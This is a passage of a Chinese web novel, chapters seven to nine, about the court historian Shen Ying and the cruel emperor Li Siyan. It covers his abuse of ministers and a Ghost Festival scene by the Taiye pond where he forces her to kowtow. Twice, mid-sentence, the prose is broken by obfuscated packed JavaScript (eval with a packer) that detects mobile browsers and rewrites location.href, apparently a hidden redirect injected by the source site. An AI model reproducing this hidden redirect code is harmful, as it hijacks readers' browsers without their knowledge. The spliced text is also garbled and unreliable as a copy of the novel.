我心里对李斯焱的背影啐了一口,呸,狗皇帝根本没转性,还是那个见不得人好的大变态。 下朝后,李斯焱叫来了兵部尚书,两人关起门来不知道密谈了些什么。 魏喜子告诉我,昨日来的是兵部的一个侍郎,走的时候两股战战,一脸惊魂未定之色,今天换了他的顶头上司来,不知道这位会不会比上一位稍微体面点。 我摇头道我看够呛,狗皇帝这是明摆着要拿兵部开刀啊。 “兵部真是倒霉啊,倒戈不够快,立刻被穿小鞋了。”我感叹道:“自前朝起就不是个富裕的部门,如今这是连裤衩都快被扒了……” 我们俩聊着聊着,突然听见延英殿那边来了点动静,低沉而恼怒的男声——狗皇帝在骂人。 我和魏喜子面面相觑。 魏喜子眨眨一对牛眼,不确定道:“这个……要记吗?” “记吧。”我沉吟道:“你先写个上愠,具体他愠什么,我去瞧瞧再说。” 过去才知道,状况比我想象的还要血腥点。 李斯焱今天格外暴躁,一剑斩了兵部尚书的一只耳朵,又命人把他拖下去,关去天牢里等候发落。 我本着史官的大无畏精神进延英殿收集第一手资料,一进殿门,便看到李斯焱面无表情坐在宫殿中央,含怒的狐狸眼向我射出冷冽的光,从牙缝里挤出一个:“滚。” 他的剑尖还滴着血,整个人如同地狱里爬上来的修罗。 我告诫自己,君子不立危墙之下,转身就跑。 跑到一半,狗皇帝又冷冷道:“沈缨,滚回来。” ……这是想让我往哪个方向滚呢? 见我迟迟不动弹,李斯焱不耐烦了,把剑一扔,大步向我走来,目光锐利如鹰隼。 眼看着玄青的衣袍离我越来越近,我不由得后退两步,后背靠上了朱红的柱子。 李斯焱揪住我的衣领,把我像揪小鸡一样揪到了书案前,指着桌上空白的宣纸凶狠道:“你不是史官吗?袁奕山这个老狗抗旨不尊,你怎么又不写了?” 我的屁股重重坐在地上,尾椎骨一阵生疼,妈的,狗皇帝下手真猛。 我自是不怕他,怒道:“我又不知陛下和袁大人都议论了些什么,当然写不出。” 李斯焱冷笑道:“写不出?养你这废物有何用?若不是朕还要一个名声,凭你三番五次地犯上,早该送你下黄泉了!” 我拍案而起,语气比他还凶:“好得很,左右我也死不了,不如把嘴瘾过个够本,李斯焱你下这样欺负人的旨意,还不许人家袁大人斡旋一二了?净欺负兵部势弱,有种你去动别的衙门啊,北衙定会对你感恩戴德忠心不二,没准儿还能早晚三炷香喊你祖宗呢! ” 他连连冷笑,讥诮道:“看不出你还有这份急公好义之心,只可惜是个糊涂的蠢货,袁奕山这厮一天天装得可怜样,不是卖惨就是哭穷,实则大笔的款子都落入了他们兵部上下的私库里,都堪称窃国了,你也别以为你有多通透,袁奕山这种官场上浑水摸鱼几十载的老油子,早已捞得够本儿,死不足惜。” 我又被他的不要脸震撼了,窃国?他屁股底下的龙椅都是从他亲哥手里抢来的,竟有脸提窃国? “口说无凭,你不派人调查清楚,空口便说袁大人贪污,即使你是皇帝,道理也不在你这一边儿,除非摆出铁证,不然我一个字都不会记。”驴脾气说来就来,我梗着脖子与其对峙。 被我凶了一通后,他的怒气渐渐歇了下去。 他冷静下来,绕着我的书案转了好几圈,突然间大概是觉得这个动作很蠢,硬生生停了步子,居高临下地问我道:“你又是怎么知道的?” “知道什么?” “北衙与兵部之间的私怨,袁奕山的心思,你都是从何而知?” 他开始以一种怀疑的眼神打量着我,天性里的多疑敏感此刻一览无余。 “因为我是先王残部派来的女细作,特特装扮成沈家的女史官,以图伺机杀了陛下,好迎小世子入长安,怎么样,这个故事陛下满意吗?”我反唇相讥。 李斯焱的眼神冷了下来。 他的手指微微一动,或许是想来掐我的脖子,我警惕地盯着他,微不可见地往后靠了靠,好像后头敦实的大柱子能让我安心点似的。 他蹲下身,揪住我的下巴,强迫我与他对视,眼里藏着压抑的怒焰,森冷的声音不带任何温度,对我道:“你这个笑话,讲得糟糕至极。” 我轻声道:“你不是也没信。” 他不作声,仍然捏着我的下巴不松手,食指在我的下唇上轻轻摩挲而过,我强忍着恶心,继续保持着低眉顺眼的姿态。 良久,李斯焱松开了我,慢条斯理地站起身,先前捏我下巴的几根手指先是伸开,又攥握成拳。 他看了我一眼,淡淡道:“你自然没有这等本事,若真是派来的斥候,起码该装得乖顺讨喜些,哄得朕开心了,说不定也能赐你一个宝林御女之流当当,那样不是更方便你下手吗?” 宝林?御女? 我全身的血又瞬间冲上了头顶,他居然拿这种女人羞辱我! 刚刚伪装出的乖顺统统碎成了渣,我气得浑身颤抖,语无伦次道:“我呸!谁要给你当小老婆!李斯焱你……你这个……” “我这个什么?” 见我炸了毛,李斯焱的心情肉眼可见地变好了,笑道:“王八蛋还是下流胚子,想必我们知书达理的沈起居郎也骂不住更脏的词儿了吧,不如让朕这个粗人教你几个?” 论脸皮厚度,我当然比不过李斯焱这个浑球。 为防止自己在盛怒之下做出不可挽回之事,我胡乱抱起了纸笔,狠狠瞪了他一眼,气冲冲地跑出了延英殿。 狗皇帝在我背后纵声大笑,笑声十分张狂。 魏喜子见我黑着脸回了御书房,小心翼翼问道:“沈起居郎怎么了?可是陛下为难了你?” 我冷笑:“记下来,统统记下来,上无故削兵部尚书袁奕山左耳,侮起居郎沈氏,其行暴虐难言,其言颠倒不堪!” 魏喜子提示我:“当秉笔直书才是。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599795|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >我正在气头上,心想又不是你被调戏,站着说话不腰疼! * 即使开始了工作,紫宸殿里的日子还是无趣又难捱,尤其是当你拥有一个处处找茬的仇人顶头上司,那就是双倍的难熬。 某日李斯焱骂了中书舍人一句难听的脏话,不巧被我给记下来了,他觉得自己骂得不够到位,非让我再加一句更狠的,我义正严辞拒绝了他,被他一怒之下罚去御膳房烧柴。 御膳房烟熏火燎,我一边咳嗽,一边恨恨对看管我的管事抱怨:“……人家皇帝打板子禁足,他可倒好,不是罚烧柴就是罚倒夜香,劳动在他心里是有多可怕啊。” 管事充耳不闻,无情道:“接着扇,再用力点。” * 李斯焱新皇上任三把火,烧完了史官又去烧先皇余孽。 说是余孽,其实也都是他亲哥的儿子,当日我的老师郭先生出宫报信,才让两个小世子侥幸捡了条命,被老仆保护着远远逃去了南边。 为了此事,郭先生挨了不少刑罚,后来是我卖了我阿爹的手记,才让李斯焱放了郭先生一马。 可是这份手记换回了郭先生的命,却没保下这两位小王子,两个月后捷报传来,他们的遗骸被运回了帝都,草草葬在长安城郊一座土山上。 可怜这两个孩子,不过垂髫之龄,就这样命丧于自己的亲叔叔手下。 李斯焱说过,斩草要除根,由于早年的卑贱经历,他的行事风格一向狠辣而不择手段,时常叫我不寒而栗。 他连血脉相连的手足都能痛下杀手,何况是几个不相干的史官。 这样的人,永远不会为自己做下的事情感到愧疚。 我入宫是在春天,尚有料峭轻寒,待得暑气带走最后一点凉意,长安的夏季轰然而至。 酷夏炎热,人心躁郁,在不安氛围的影响下,李斯焱处理公务的速度也加快了,七月初三这天,他连着流放了好几个被查出贪腐的郎官,震惊朝野。 我震惊地看着这份流放名单,只觉得离谱极了,脱口而出道:“这些大人各个都出身望族,世代簪缨,家私岂止万金,怎么可能贪墨这点赈灾的蝇头小利?” 李斯焱正在歇息,懒洋洋地靠在榻上,玩着左拾遗孝敬的白玉玛瑙杯。 他掀起眼皮看了我一眼,嗤笑道:“望族?没他们这些望族巧取豪夺,变着法儿搜刮民膏民脂,户部也不至于连田赋都收不上来,朕找个借口办了他们,不过是把该拿的拿回来罢了。” “可那也不能诬良为盗,胡乱流放,”我严肃道:“一码归一码,即使他们真的贪墨,也罪不至此,人家数代勤勉积攒的家业,被你轻轻巧巧夺走填了国库,这不合律法。” 李斯焱用白玉玛瑙杯敲了敲我的脑袋,似笑非笑道:“知道吗沈起居郎,朕最厌恶你这副高高在上,不食人间烟火的模样,你觉得律法是谁来定的呢?如果律法有用,那为什么百年来门阀当国,民怨四起,还让朕这个不仁不义的人当了皇帝?” “王侯将相宁有种乎。”他淡淡道:“史书无趣得很,唯独这一句有些意思,那些望族吃了那么多年肥肉,也该吐出来些了。” “况且,”他顿了顿道:“已走到了这儿,不收拾他们,便轮到朕收不了场了。” 我一时愣住了,一时没明白他的意思。 李斯焱又敲了我的脑门子一下道:“杵在这里做甚,记下来。” 我懵懵懂懂地拿起笔,草草记下了他的言语。 那时我听不太懂他在说什么,只觉得他好像是在顺应某种趋势,直到很多年后,我才慢慢明白过来:在李斯焱一朝,许多看似不合理之事,背后都有他的道理。 他动了几个望族子弟,掠劫财富来充实国库,其实打压望族自前朝起就被提上了日程,兴科举兴了那么多年,士族们早已不复昔日荣光,李斯焱此刻打劫他们,表面看是他雷霆手段,其实未尝不是他不得不为之。 他放着一群精明能干的臣子不用,偏偏挑了脾气坏的我,以及蠢乎乎的魏喜子:一对没头脑和不高兴来当他的近臣,或许是他也没有底气能拿捏住那些个才俊,所以才索性让两个笨人在旁伺候。 甚至他的即位,有时我仔细想想,都会不寒而栗,按本朝先例,成年皇子都该外放出京的,可为什么先皇迟迟不下诏给他授职呢?先太子与其不睦已久,先皇却从不从中调解,甚至态度暧昧,颇有养蛊的架势,而且……先皇知道太子不利生育,抱养了二皇子的两个儿子,如果他真的想让太子顺顺当当即位,那为何不好生帮忙瞒着,却让整个朝堂最刚正的我阿爹把此事记录下来呢? 这些幽暗的东西都藏在史家简略的笔墨后,不能细想,一旦细想,便让人不寒而栗。 * 可不管后来体悟到了多少东西,当时的我仍是个不谙世事的小傻瓜,只知道白天当差,晚上剪纸钱,单纯地不快乐着。 中元那日,我剪的冥币刚好攒满了两篓子,午后,我抱着那两篓子冥币去找庆福——也就是每天跟着李斯焱的那个内廷总管,告诉他,我想祭拜亲人。 庆福想也没想就拒绝了我:没门。 我只觉不可理喻:“本朝以孝安天下,你们却连祖宗都不让祭拜,这是什么道理?” 庆福用一种看傻子的眼神看着我道:“沈起居郎,天下人莫不为陛下的子民,你在宫里祭拜父母,若不慎引火走水,岂不会伤到陛下吗?若是烧着了陛下,那不就是不孝了?” 好一个闭环逻辑,说得我无言以对。 庆福走了,我站在紫宸殿一角,手里抱着两篓子冥币心痛难言。 这感觉就像是你挣来了家财万贯后衣锦还乡,乡亲却告诉你令堂令正已仙逝多年,坟头草都长出了两尺高了。 去求求李斯焱吗?不,旁的事也就罢了,涉及我父兄之事,我不想要他的丝毫恩惠。 看着这两篓子冥币,我鼻子慢慢地酸了。 ——人就是一种容易被小事击溃的生物,我想起自己孤零零一个人在宫里,被迫伴在喜怒不定的仇人身边,逢中元之夜,连给去了阴间的亲人送点钱都不行,日子怎么就成了这样呢? 站了一会儿后,我抱起两个篓子,用袖子擦掉泪水,慢慢走回紫宸殿。 回殿时看到庆福正候在书房外面,他告诉我,中书省刚遣来了个主书,给皇帝送起草好的诏书,魏喜子在里面做书记,暂时用不到我。 我情绪低落,随口哦了一声。 庆福扫了我一眼,冷漠地提醒道:“沈起居郎,你的眼睛肿了,回去打理好,莫在御前失仪。” 我气哼哼道:“我便是把自己收拾得和仙女儿一样,你们陛下照样瞧我不顺眼。” 庆福努了努嘴,这个幼稚的神态和他松垮的脸极不相配。 我百无聊赖地在门口候了一会儿,问庆福道:“里面是田主书还是于主书?” 庆福本不想回答,被我歪缠得烦了,不耐道:“是个新来的,姓孟,名字不知。” 我傻了,眨了眨眼,只觉口干舌燥。 “是叫孟叙吗?”我小声问道。 庆福不高兴道:“都说了这里没你的事,你赶紧去把眼睛消消肿,瞧着跟个核桃似的,真难看。” 他话音未落,我已经如离弦的箭一样直冲回了我的房间,慌忙翻出了脂粉,对着铜镜仔细地涂上膏子,再拿细粉盖住,最后匀了口脂点在唇中。 ——上班不值得让我浪费化妆品,但见情郎值得! 8. 第八章-烧纸奇遇 来的的确是孟叙,一刻钟后,他躬身退出了书房,拿着狗皇帝发给他的诏令修改意见,温和地向庆福告别。 庆福唤来一个小内侍,叫他送孟叙回去。 眼看着孟叙要走了,我急忙跑出来,对庆福道:“可巧我也要去门下省送起居注的草稿,便同孟主书一同出去吧。” 庆福撇我一眼道:“不成。” 我急了:“你前头不是说了没我的事,既然没事,我为何不能去啊!” 庆福呼出一口浊气,冷漠道:“陛下吩咐过不让你出紫宸门,你忘了吗。” 我气得想骂人,孟叙上前一步拦下了我,对我眨了眨眼,微笑道:“左右也不是什么大事,出不去就算了吧,只是孟某已许久未见沈起居郎,见沈起居郎仍如此朝气蓬勃,甚是感怀。” 庆福刻薄插嘴道:“她吗,岂止朝气蓬勃,简直是无法无天了,太液池里的金鱼都没她能闹腾。” 我不想理这个老阉人,低下头努力忍住眼泪道:“孟兄也是,中书省事务庞杂,务必保重身体。” 孟叙简单地点了点头,又寒暄了几句。 我们心照不宣地假装同彼此不熟的样子——为了不让庆福这条老狐狸怀疑我们之间的关系。 我只得把他送到紫宸殿门口,他趁小内侍不注意,轻声对我道:“中书省内人事复杂,我不常能有进宫的机会,你要保重,等我下回再来。” 我也小声道:“来不来不要紧,你小心别被同僚给阴了,中书省里都不是省油的灯……” 他拿到这个面圣的机会,定会招同僚记恨,我在门下省史馆当差的时候,听了不少中书省里的勾心斗角事件,对这个地方无甚好感。 他笑道:“放心。” * 由于孟叙的来到,我一整天都散发出一种快乐的气息,甚至都忘了那两篓子纸钱,直到夜里回了屋子,才勉强想起此事。 越想越生气,我还是决定顶风作案,宁可挨一顿责罚,也不能让阿爹和哥哥在地下风餐露宿。 反正我一向是一个劣迹斑斑之人,以一人之力犯了大半本宫规,虱子多了不痒,如今也不在乎再添一条罪状。 于是我说干就干,拎着两个篓子,轻手轻脚地出了门。 今夜月明星稀,天气很好,我的运气更好,门口竟然无人值守,我轻快地贴着墙根往北走,一路到了含凉殿。 由于李斯焱至今没有往后宫纳人,御街以北有大片的宫室无人居住,黑灯瞎火的,太适合让我干些坏事了。 我在太液池边上选了个隐蔽之地架起火盆,一旦操作不当,引起走水事件,我可以快速取太液池水灭火,很完美。 择定了位置后,我把篓子放下,从怀里摸出私藏的燧石,边打火,边蹲在两个篓子前面絮叨道:“阿爹,哥哥,这些钱给你们在地下花,千万不要省,明年清明,我再给你们叠一些……” “我知道我是个大大的不孝女,所以你们才不愿意给我托梦,不要生气了好不好……算了,生气也没关系,好歹来我梦里骂我一顿,让我知道你们在下面过得怎么样。” “我过得不大好,摊上了个狗皇帝,不仅日日威胁我,还不让我给你们烧纸,世间怎会有如此恶劣之人?不过阿爹放心,他做过的罪孽,迟早要有果报,且看来日……” 我划亮了燧石,扔进了装纸钱的盆子里,盯着这一点小火苗出神。 他们在泉下过得好吗,会不会已经投胎去了,再也不认识我了呢…… 一时心绪万千,火光跳跃中,身后突然传来一道懒洋洋的声音:“冥币要拿黄裱纸叠了才算数,你这随随便便拿宣纸一叠,阴曹地府可不收。” 有人! 我一个激灵,抓起篓子往来人脸上狠狠一扔,一脚把燃烧着的盆子踢进了太液池,然后头都不回地向南边狂奔而去。 整套动作如行云流水一气呵成,身后的人被我扔了一头一脸的纸钱,呆了一瞬,冷冷地喊道:“沈缨,你给我站住!” 我刚跑出了几丈远,一听这声音,脚下顿时一软,差点被树枝绊倒在地。 妈的,我不仅被抓了个现行,抓我的人居然还是狗皇帝! 整个内苑,只有他一个人会如此不客气地直呼我的名字。 我勉勉强强地停下,转过身,只见李斯焱身穿一身石青色的常服,负手而立于凉凉月色下,头上还挂着一个小小的冥币……整体形象和中元节的气氛十分搭调。 他身后站着面无表情的庆福,见我看他,庆福翻了一个“老夫就知道你要作死”的白眼。 论阴阳怪气,这对主仆绝对是一脉相承。 “过来。”李斯焱冲我招招手,像是在召唤一只小狸奴。 我没动,很警惕地观察着他。 他接着引诱道:“你过来,朕允许你烧纸钱,再匀你几张真金,你爱烧给谁就烧给谁。” 我往后退了一步,轻声道:“便是让我父兄在泉下敲碗要饭,我也不稀罕你的恩惠。” 此话绝对出自真心,如果我胆敢在狗皇帝的目光注视下给我爹烧纸钱,我爹今晚就会托梦给我,边骂我狗奴才边把冥币扔回到我脸上。 李斯焱也不恼,十分好脾气道:“行啊,那你烧你的,我烧我的。” 我怀疑我听错了,不确定道:“你烧你的?” 没想到狗皇帝他真的说到做到,我呆滞地看着庆福麻利地架起了火盆,备好了燧石,从背后掏出一大盒金光灿灿的上等纸钱,恭恭敬敬地呈给了狗皇帝。 我此刻才明白李斯焱出现在此间的目的,顿觉没有天理王法,对庆福嚷道:“你不是说宫里不让烧纸钱吗!凭什么李斯焱就可以?” 庆福蹙眉道:“沈起居郎在想什么,竟敢把自己和陛下相提并论?” 李斯焱悠闲地补充道:“你莫忘了,朕是皇帝,就是把内苑拆了,也没人敢说一句话。” 是啊,他是皇帝,他说什么就是什么。 我不想再与他争辩,一言不发地蹲下身捡起篓子,把散落一地的冥币一枚枚捡起来。 我叠了好久呢,不能浪费。 捡起来后才想起来,点火的盆子刚刚已被我一脚踹进了太液池。 没有盆子,纸也就烧不成。 我顿时生出深深的无力感,恨恨瞪了李斯焱一眼,抱起篓子打算回去。 李斯焱的声音再一次阴魂不散地响起:“跑什么,给朕回来。” 我没理他,向着紫宸殿的方向大步走去,腰板挺得笔直,像只骄傲的小鹅。 见我仍不回头,他噗嗤一笑道:“沈缨,你再敢多走一步,朕就把你堂弟赶出国子监,试试?” 又来了,我停住脚步,闭了闭眼,李斯焱这个狗贼,贯会拿婶子和小川来威胁我听话。 我能怎么办呢?我不听话,小川就没有书读,婶子就没有收入,狗皇帝作为这片江山说一不二的主人,有的是方法收拾我。 我只能面若寒霜,一脸便秘地缓缓挪到了他身边,问道:“陛下叫我何事?” 狗皇帝抬头看了我一眼。 奇怪,他刚刚还气焰嚣张地威胁我,转眼间换了张脸,火光跳跃中,他的面容竟有一丝寥落。 我很少看到李斯焱露出这种表情,竟让我想起了巷口王娘子家那条没了娘的狗崽子,每次一见人就凶狠地汪汪叫,但如果你摸摸它的头再送他一点碎肉,他就会翻出柔软的小肚皮,冲你哼哼唧唧求摸摸。 我摇摇头,虽然狗皇帝也沾一个狗字,但他可比王娘子的狗子讨人厌多了。 我又瞧了眼他手里的豪华纸钱,突然想起了什么,不确定道:“你……你是不是……” 我想说你是不是在祭拜你的阿娘,但考虑到前几次提起狗皇帝亲娘造成的严重后果,我及时地闭了嘴。 没想到的是,狗皇帝平静地点点头,对我道:“你没猜错。” 我本想说你好端端一个皇帝,不去太庙祭先祖,跑来太液池边上和我抢地方作甚,但突然间念头一闪,隐隐猜到了缘由,又及时地闭嘴了。 今夜月明星稀,乌鹊南飞,是个温柔而悲凉的夜晚。 李斯焱挥手屏退了庆福,问我道:“你是史官,难道不好奇吗?为何朕的生母牌位至今仍在宫中,尸身只归葬于长安城郊的宫女坟。” 我默然不语。 史官的工作有一部分就是奉旨八卦,李斯焱母亲的这桩官司是大事,我焉能不知呢。 他也没指望我回应,自顾自道:“她虽生了朕,却没有得过位份,所以入不得先皇的陪葬陵,一拖数年,尸骨只得草草停在城郊。礼官说要等朕故去后,她才能以生母的身份葬入朕的陵墓。” “这便错了,无位份的宫人是不能入皇陵的,就算是你的亲生母亲,也没有能陪入儿子陵墓的先例。”我没忍住,添了一嘴。 我没说出口的是,这个太后之衔,本来就是他掐着礼官的脖子硬封给他的生母的,待到李斯焱驾崩后,他的母亲未必还能保有这份哀荣,自然也就进不了任何皇家坟冢。 他简单地嗯了一声:“朕本也不打算让她入皇陵,朕外祖的家乡在益州,虽早已败落,却还有几个族人看守着祖坟,庆福说那是个山水清秀的好地方,朕决定把她以未嫁女的身份葬去那里。” 我一怔,脱口而出道:“为什么不以太妃之仪入葬先皇陵?” 他只淡淡道:“先皇那个狗东西,不配让她陪陵。” 我在心里又翻了个白眼,李斯焱居然还骂先皇是狗东西,整座内苑最狗的人是谁,自己心里没点数吗。 眼球归位时,我又有点感慨。 看来李斯焱真的很怀念他的母亲,特地为她选了天高皇帝远的益州做坟冢,让她在死去后能平静地傍居山水。 被他搓磨许久后,狗皇帝做出什么变态之事我都不会觉得奇怪,唯独流露出这一点温情,令我十分不适。 我不明白,他明明知道亲人辞世的痛苦,为什么还要残忍地杀害我的父兄? 有些人天生欠缺同理心,我觉得这是一种残疾。 那厢,李斯焱骂完了亲爹,对我招招手道:“行了,别杵着不动,过来,给太后磕个头。” 我慢吞吞地往前挪了一步,拒绝之意溢于言表。 狗皇帝耐心差极了,见我踟蹰,脸色顿时难看起来,伸手过来抓住我的肩膀,把我生拉硬拽到火盆前,命令道:“磕头。” 见我仍是满脸不情愿,李斯焱冷冷道:“允许你给太后磕头是你的福气,跪下!” 我猛然抬起眼。 福气,他说福气。 短短的两个字好像一道雪亮的刀光,狠狠劈开我心里溃烂已久的伤疤。 好像旧幕重演一样,记忆从伤口里翻涌成河,接连离开的亲人,空荡绝望的史馆,躲在角落里痛哭的我,还有那个声音尖利的太监。 他说:陛下登基后头一个想起你,是你的福气。 我的怒火由星星之火到燎原之势,不过一瞬而已。 然后,啪地一声,我脑袋里的弦再一次断裂了。 “这个福气你自己留着自己用。”我甩开他的手冷冷道:“李斯焱,世上不独独是你没了爹娘,我也没有了,这都是拜你所赐,你让我跪仇人的母亲?她配吗?我只盼你能再多点这样的福气,最好多到此生众叛亲离,一辈子不会再有人来爱你。” 李斯焱愣了愣,抓住我肩膀的手被我粗暴地甩开,就这样僵在了空中,他的眼神有一瞬的空茫,好像被我刺伤了一样。 “你说什么?”他哑着嗓子,慢慢握紧了拳头道:“沈缨,你在诅咒朕?” “怎么是诅咒呢?”我笑起来:“你都说了,这叫福气。” 我又晃了晃手里的纸钱篓子,轻蔑地笑道:“陛下的母亲不是还没入葬吗?今夜是鬼门开的日子,说不定她的灵魄就在此际徘徊,我若是她,瞧见了千辛万苦生下的儿子长成了个逼迫女子的混球,不知会有多悔恨呢。” 我用最平静 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16599796|187487||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的语调说着最刻毒的挖苦,极为快意地看见他脸上的血色一点一点褪去,直到变为与月光同色的惨白。 一道郁热的夏风从我身边划过,我低垂了眼,或许真的是那个苦命的女子的魂灵,在中元夜跨出鬼门,来人间看看她唯一还在世的亲人。 对不起,我在心里默默念道,可你的儿子也杀掉了我最珍爱的人,他这般残忍,不配拥有任何美好的感情。 远处的庆福急得连连打转,想过来把我拉走,却又不敢,我瞧着他的样子,不由得又噗嗤一笑,对脸色青白的李斯焱道:“抱歉陛下,这话我早就想说了,陛下爱怎么罚我就怎么罚我吧,把我推进太液池喂鱼也好,把我扔进掖庭倒夜香也罢,随陛下的心意。” 默然一瞬后,李斯焱突然突兀地笑了一声,笑声尖锐。 烧纸火盆里的火焰仍在燃烧,火光映在他左半边的脸上,让他原本邪气俊朗的脸状若修罗恶鬼。 他笑道:“不过是让你磕个头而已,你都不乐意。” 我感到有点意外,他今晚怎么这般好说话,若换作以往,我早该被扔到太液池里喂金鱼去了。 “也罢,朕是你的仇人,你恨朕,诅咒朕也是理所当然。” 他又抬起头,这一次,眼里的失意已经全然消失,变作了一贯的慵懒阴狠。 我隐隐觉得不对,转身想跑,却被他揪住衣领,狠狠拽到了身边。 他面无表情地伸出手来,又一次搭在了我的肩膀上,我大惊失色,奋力挣扎,几乎踢翻了一旁的火盆,可我越是挣扎,他的力气就越大,死死把我往下压去,摁住我肩膀的同时,他还抬起膝盖去顶我的腿窝,强迫我跪下。 我也不知道事情怎么会变成这样,一个是当今天子,一个是恨他入骨的史官,两个体面人在太液池边像孩童一样扭打在一起。 远处的庆福呆住了,在他几十年的宫廷生涯中,大概从来没见过有皇帝和史官干架的场面。 魔幻刺激的剧情发展,让这个拥有解决纠纷经验的老太监居然忘了来拉架。 我虽然一次能揍三个素行,可是遇上了李斯焱这种地道的打架高手,这点三脚猫的功夫就全然不够看了,我尖叫着回身抓他的脸,他抓准空档,闪电般出手,强行把我摁在地上。 我们的身体紧紧相贴,他身上的热气透过薄薄的夏衫,传到了我的后背与腰间,我不甘示弱,即使已经跪下了,仍然梗着脖子不愿低头,张开嘴一口咬在了他的右手上,李斯焱嘶了一声,命令道:“不准动。” 我的犬牙深深刺进了他的皮肤,咬出一个鲜血淋漓的牙印,含含糊糊地骂:“王八蛋!跟女人动手,你不嫌害臊吗!” “哟,你不提醒朕,朕都快忘了你是个女的。”李斯焱捏着我的腮帮子龇牙咧嘴道:“一个小娘子,牙齿那么尖,属狗的吗!” 我猛地往后一仰,脑壳重重撞在他的下颌处,骂道:“你他娘的才属狗,天家贵胄里怎么出了你这个不要脸的狗东西!” 他甩开我的嘴,滴着血的手摁在我的头顶,在我耳边喘着气道:“你去磕个头,就磕一个,朕准许你回一次家。” 听见回家二字,我的骂人话猛然止住了,不可置信地转过头。 李斯焱眼疾手快,抓准了我发愣的空档,摁着我的脑袋磕了下去,同时,他自己也向着火盆纳首下拜。 额头触地那一刻,我傻了。 这狗东西乘人之危,不讲武德。 我们俩的姿势非常古怪扭曲,他整个人死死压在我身上,摁着我的后脑勺,两颗脑袋整齐地向火盆磕了个头。 怎么说呢,这种动作有种诡异的眼熟,与我二大爷家三侄女结婚的时候行的一拜天地之礼高度相似。 “你……你……”我颤颤巍巍爬起来,抬手指着他,气得一句话也说不出来。 李斯焱似是异常满足,露出了难得一见的,不带任何讥讽意味的笑容道:“真乖,明日刚好是休沐日,就准你明日出宫吧。” 回家? 我怔住了,自进宫起,我就没指望还能回一趟安邑坊的家,见见婶子,小川,还有……孟哥哥。 我可以回去见他们了,想到这里,心砰砰砰地跳了起来,不由自主问道:“真的吗?” 李斯焱点头:“朕说了,你给太后磕头,朕就让你回家,你再多磕一个头,我给你多加一日。” 我飞快道:“如果我给你娘磕五千个头,是不是就可以不用写这十五年起居注了?” 他微挑唇角,负手而立:“动动你的小脑瓜想想,朕会如此仁慈吗?” “你不会。”我低下头。 “知道就好,明日让庆福给你安排马车,记得按时回来。”他突然亲昵地揉揉我的脑袋,愉悦道:“以后表现得好,朕还让你出去。” 我忍着被狗皇帝摸头的不适,乖顺道:“嗯。” 我太想出宫了,为此甚至可以容忍狗皇帝的骚扰。 反正亏已经吃了,不用也是浪费。 于是,我含着这颗巴掌换来的甜枣,跟着李斯焱一道儿回了紫宸殿,李斯焱好像是忘了我之前诅咒他众叛亲离之事,对我极其友好,还同我讲起了他的母亲。 李斯焱嘴里的故事版本和夏富贵告诉我的差不多,只是有些细节不大一样,比如他母亲并不是病死,而是被先皇一杯鸠酒给赐死的。 听得我头顶冒汗,他和我讲这个干什么,把我当树洞使用吗? 快走回紫宸殿的时候,李斯焱突然给我布置了课后作业:“……给你讲这些都记牢了吧,回头给太后写一篇传记,你是史官,这个应该不难。” 不,这很难。 我立刻拒绝:“不行,她的事全是陛下你口述的,作不得证,我写不了。” 李斯焱道:“哦,那你明日不用出宫了,什么时候写完什么时候出去。” “你怎么还出尔反尔!”我气得跳脚。 “是啊,”他笑眯眯道:“朕从不守信诺的,你才知道?” 9. 第九章-常回家看看 我有个前辈写过:三十五年,楚伐随,随曰:“我无罪,”楚曰:“我蛮夷也。”我觉得很适合形容我和李斯焱的关系。 写这句话的前辈后来因为不听话,被那时候的狗皇帝割了蛋,他用人生的惨痛经历留下了另一条告诫:识时务者为俊杰。 为了明日顺利出行,我只能本着老祖宗的告诫,深夜挑灯上班,写那该死的列传。 铺开纸才想起来,写个蛋蛋,我连李斯焱他妈姓什么都不知道。 没办法,我去正殿找正在上夜的庆福,向他提出问题:“庆福,你晓得陛下他娘姓什么吗?” 庆福大惊失色,翘起兰花指,一脸被污了耳朵的矫情样儿:“你怎么能骂脏话!” 我:……靠。 跟庆福解释了一番,他才知道我想问什么,于是很简洁地回答了我:“太后母家姓余,入掖庭前,父亲在吏部做侍郎。” 我谢了庆福,回去在纸上写了个大标题:余氏传。 良久,我长叹一声,又提笔写道:余太后传。 * 第二日,我拿着新鲜出炉的余太后传和一对萎靡的黑眼圈去找李斯焱,无精打采道:“我能出去了吗?” 李斯焱看着我的黑眼圈皱眉道:“你熬夜了?” 为了表现我为了这份作业的出离重视,我特地用碳灰给自己描了对黑眼圈,整个人看起来十分惨淡。 我小声道:“不碍事。” 李斯焱道:“下回不准熬夜,再敢挂两个黑眼圈儿在朕面前晃荡,朕打你板子。” 他没看那份余太后传,顺手把它塞进了书阁里。 出了紫宸殿门,我立刻来了精神,催促庆福道:“快点快点!宫门马上开了,我要回家去! 庆福翻着阴阳怪气的白眼,慢吞吞地替我安排小轿子,我在边上闹:“我家远得很,轿子走得慢,我想要马车。” “你还挑三拣四!”庆福怒了,袖子一甩,气哼哼对小内侍喊道:“虎跃儿,给沈起居郎换个马车,挑几个健壮的侍卫跟着,别叫她跑了!” 这回我满意了,欢天喜地对庆福道了谢,对拉车的小马送上一个飞吻。 马车晃晃悠悠去了安邑坊,我跑到我家门口用力叩了叩门环。 角门一开,走出了一个面生的门子。 